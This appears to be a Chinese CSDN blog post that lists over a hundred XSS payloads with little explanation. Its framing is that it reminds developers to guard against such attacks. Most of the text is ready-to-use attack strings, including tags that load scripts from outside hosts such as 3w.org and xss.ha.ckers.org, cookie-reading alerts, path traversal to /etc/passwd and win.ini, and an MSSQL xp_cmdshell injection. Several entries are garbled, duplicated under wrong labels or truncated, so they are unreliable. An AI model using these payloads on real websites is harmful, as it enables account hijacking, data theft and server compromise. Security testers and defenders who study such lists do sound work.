百个XSS-payload注入汇总

本文汇总了100种不同的XSS(跨站脚本)注入攻击payload,包括JavaScript注入、IMG标签利用、HTML编码、空字符、样式表等各类方法。这些payload展示了XSS攻击的多样性和复杂性,提醒开发者注意防范。
摘要由CSDN通过智能技术生成

(1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

(2)IMG标签XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

(3)IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>

(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

(5)HTML编码(必须有分号)
<IMG SRC=javascript:alert(“XSS”)>

(6)修正缺陷IMG标签
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

(7)formCharCode标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

(8)UTF-8的Unicode编码(计算器)
<IMG SRC=jav..省略..S')>

(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>

(10)十六进制编码也是没有分号(计算器)
<IMG SRC=java..省略..XSS')>

(11)嵌入式标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>

(12)嵌入式编码标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>

(13)嵌入式换行符
<IMG SRC=”jav ascript:alert(‘XSS’);”>

(14)嵌入式回车
<IMG SRC=”jav ascript:alert(‘XSS’);”>

(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=”javascript:alert(‘XSS‘)”>

(16)解决限制字符(要求同页面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>

(17)空字符
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out

(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out

(19)Spaces和meta前的IMG标签
<IMG SRC=” javascript:alert(‘XSS’);”>

(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>

(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>

(23)双开括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>

(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>

(25)无结束脚本标记2
<SCRIPT SRC=//3w.org/XSS/xss.js>

(26)半开的HTML/JavaScript XSS
<IMG SRC=”javascript:alert(‘XSS’)”

(27)双开角括号
<iframe src=http://3w.org/XSS.html <

(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>

(29)换码过滤的JavaScript
\”;alert(‘XSS’);//

(30)结束Title标签
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

(31)Input Image
<INPUT SRC=”javascript:alert(‘XSS’);”>

(32)BODY Image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>

(33)BODY标签
<BODY(‘XSS’)>

(34)IMG Dynsrc
<IMG DYNSRC=”javascript:alert(‘XSS’)”>

(35)IMG Lowsrc
<IMG LOWSRC=”javascript:alert(‘XSS’)”>

(36)BGSOUND
<BGSOUND SRC=”javascript:alert(‘XSS’);”>

(37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>

(38)远程样式表
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>

(39)List-style-image(列表式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS

(40)IMG VBscript
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS

(41)META链接url
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>

(42)Iframe
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>

(43)Frame
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>

(44)Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>

(45)TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>

(46)DIV background-image
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>

(48)DIV expression
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>

(49)STYLE属性分拆表达
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>

(50)匿名STYLE(组成:开角号和一个字母开头)
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>

(51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>

(52)IMG STYLE方式
exppression(alert(“XSS”))’>

(53)STYLE background
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>

(54)BASE
<BASE HREF=”javascript:alert(‘XSS’);//”>

(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>

(56)在flash中使用ActionScrpt可以混进你XSS的代码
a=”get”;
b=”URL(\”";
c=”javascript:”;
d=”alert(‘XSS’);\”)”;
eval_r(a+b+c+d);

(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
<HTML xmlns:xss>
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
<xss:xss>XSS</xss:xss>
</HTML>

(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
<SCRIPT SRC=””></SCRIPT>

(59)IMG嵌入式命令,可执行任意命令
<IMG SRC=”http://www.XXX.com/a.php?a=b”>

(60)IMG嵌入式命令(a.jpg在同服务器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser

(61)绕符号过滤
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>

(62)
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>

(63)
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>

(64)
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>

(65)
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>

(66)
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>

(67)
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>

(68)URL绕行
<A HREF=”http://127.0.0.1/”>XSS</A>

(69)URL编码
<A HREF=”http://3w.org”>XSS</A>

(70)IP十进制
<A HREF=”http://3232235521″>XSS</A>

(71)IP十六进制
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>

(72)IP八进制
<A HREF=”http://0300.0250.0000.0001″>XSS</A>

(73)混合编码
<A HREF=”http://6 6.000146.0×7.147/”">XSS</A>

(74)节省[http:]
<A HREF=”//www.google.com/”>XSS</A>

(75)节省[www]
<A HREF=”http://google.com/”>XSS</A>

(76)绝对点绝对DNS
<A HREF=”http://www.google.com./”>XSS</A>

(77)javascript链接
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>

 


其他XSS PAYLOAD

 

'><script>alert(document.cookie)</script> ='><script>alert(document.cookie)</script> <script>alert(document.cookie)</script> <script>alert(vulnerable)</script> %3Cscript%3Ealert('XSS')%3C/script%3E <script>alert('XSS')</script> <img src="javascript:alert('XSS')"> %0a%0a<script>alert(\"Vulnerable\")</script>.jsp %22%3cscript%3ealert(%22xss%22)%3c/script%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html %3f.jsp %3f.jsp <script>alert('Vulnerable');</script> <script>alert('Vulnerable')</script> ?sql_debug=1 a%5c.aspx a.jsp/<script>alert('Vulnerable')</script> a/ a?<script>alert('Vulnerable')</script> "><script>alert('Vulnerable')</script> ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E %3Cscript%3Ealert(document. domain);%3C/script%3E& %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID= <IMG src="javascript:alert('XSS');"> <IMG src=javascript:alert('XSS')> <IMG src=JaVaScRiPt:alert('XSS')> <IMG src=JaVaScRiPt:alert("XSS")> <IMG src=javascript:alert('XSS')> <IMG src=javascript:alert('XSS')> <IMG src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> <IMG src="jav ascript:alert('XSS');"> <IMG src="jav ascript:alert('XSS');"> <IMG src="jav ascript:alert('XSS');"> "<IMG src=java\0script:alert(\"XSS\")>";' > out <IMG src=" javascript:alert('XSS');"> <SCRIPT>a=/XSS/alert(a.source)</SCRIPT> <BODY BACKGROUND="javascript:alert('XSS')"> <BODY ONLOAD=alert('XSS')> <IMG DYNSRC="javascript:alert('XSS')"> <IMG LOWSRC="javascript:alert('XSS')"> <BGSOUND src="javascript:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER src="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" href="javascript:alert('XSS');"> <IMG src='vbscript:msgbox("XSS")'> <IMG src="mocha:[code]"> <IMG src="livescript:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> <IFRAME src=javascript:alert('XSS')></IFRAME> <FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascript:alert('XSS')"> <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascript">alert('XSS');</STYLE> <STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A> <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <BASE href="javascript:alert('XSS');//"> getURL("javascript:alert('XSS')") a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d); <XML src="javascript:alert('XSS');"> "> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><" <SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT> <IMG src="javascript:alert('XSS')" <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"--> <IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT> <A href=http://www.gohttp://www.google.com/ogle.com/>link</A>


利用注释使他们的行为看起来不像是标签所以bypass 原地址
Example:<!----><script>alert(0);</script>
原文地址:https://twitter.com/LooseSecurity/status/1076110424913989634

Payload2
这个是在portswigger博客上看见的一篇文章

Example:<link rel="canonical" accesskey="X" οnclick="alert(1)" />

 


  1. <script\x20type="text/javascript">javascript:alert(1);</script>
  2. <script\x3Etype="text/javascript">javascript:alert(1);</script>
  3. <script\x0Dtype="text/javascript">javascript:alert(1);</script>
  4. <script\x09type="text/javascript">javascript:alert(1);</script>
  5. <script\x0Ctype="text/javascript">javascript:alert(1);</script>
  6. <script\x2Ftype="text/javascript">javascript:alert(1);</script>
  7. <script\x0Atype="text/javascript">javascript:alert(1);</script>
  8. '`"><\x3Cscript>javascript:alert(1)</script>
  9. '`"><\x00script>javascript:alert(1)</script>
  10. <img src=1 href=1 onerror="javascript:alert(1)"></img>
  11. <audio src=1 href=1 onerror="javascript:alert(1)"></audio>
  12. <video src=1 href=1 onerror="javascript:alert(1)"></video>
  13. <body src=1 href=1 onerror="javascript:alert(1)"></body>
  14. <image src=1 href=1 onerror="javascript:alert(1)"></image>
  15. <object src=1 href=1 onerror="javascript:alert(1)"></object>
  16. <script src=1 href=1 onerror="javascript:alert(1)"></script>
  17. <svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize>
  18. <title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange>
  19. <iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad>
  20. <body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter>
  21. <body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus>
  22. <frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll>
  23. <script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange>
  24. <html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp>
  25. <body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange>
  26. <svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad>
  27. <body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide>
  28. <body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver>
  29. <body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload>
  30. <body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad>
  31. <bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange>
  32. <html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave>
  33. <html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel>
  34. <style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad>
  35. <iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange>
  36. <body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow>
  37. <style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange>
  38. <frameset onFocus frameset onFocus="javascript:javascript:alert(1)"></frameset onFocus>
  39. <applet onError applet onError="javascript:javascript:alert(1)">
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值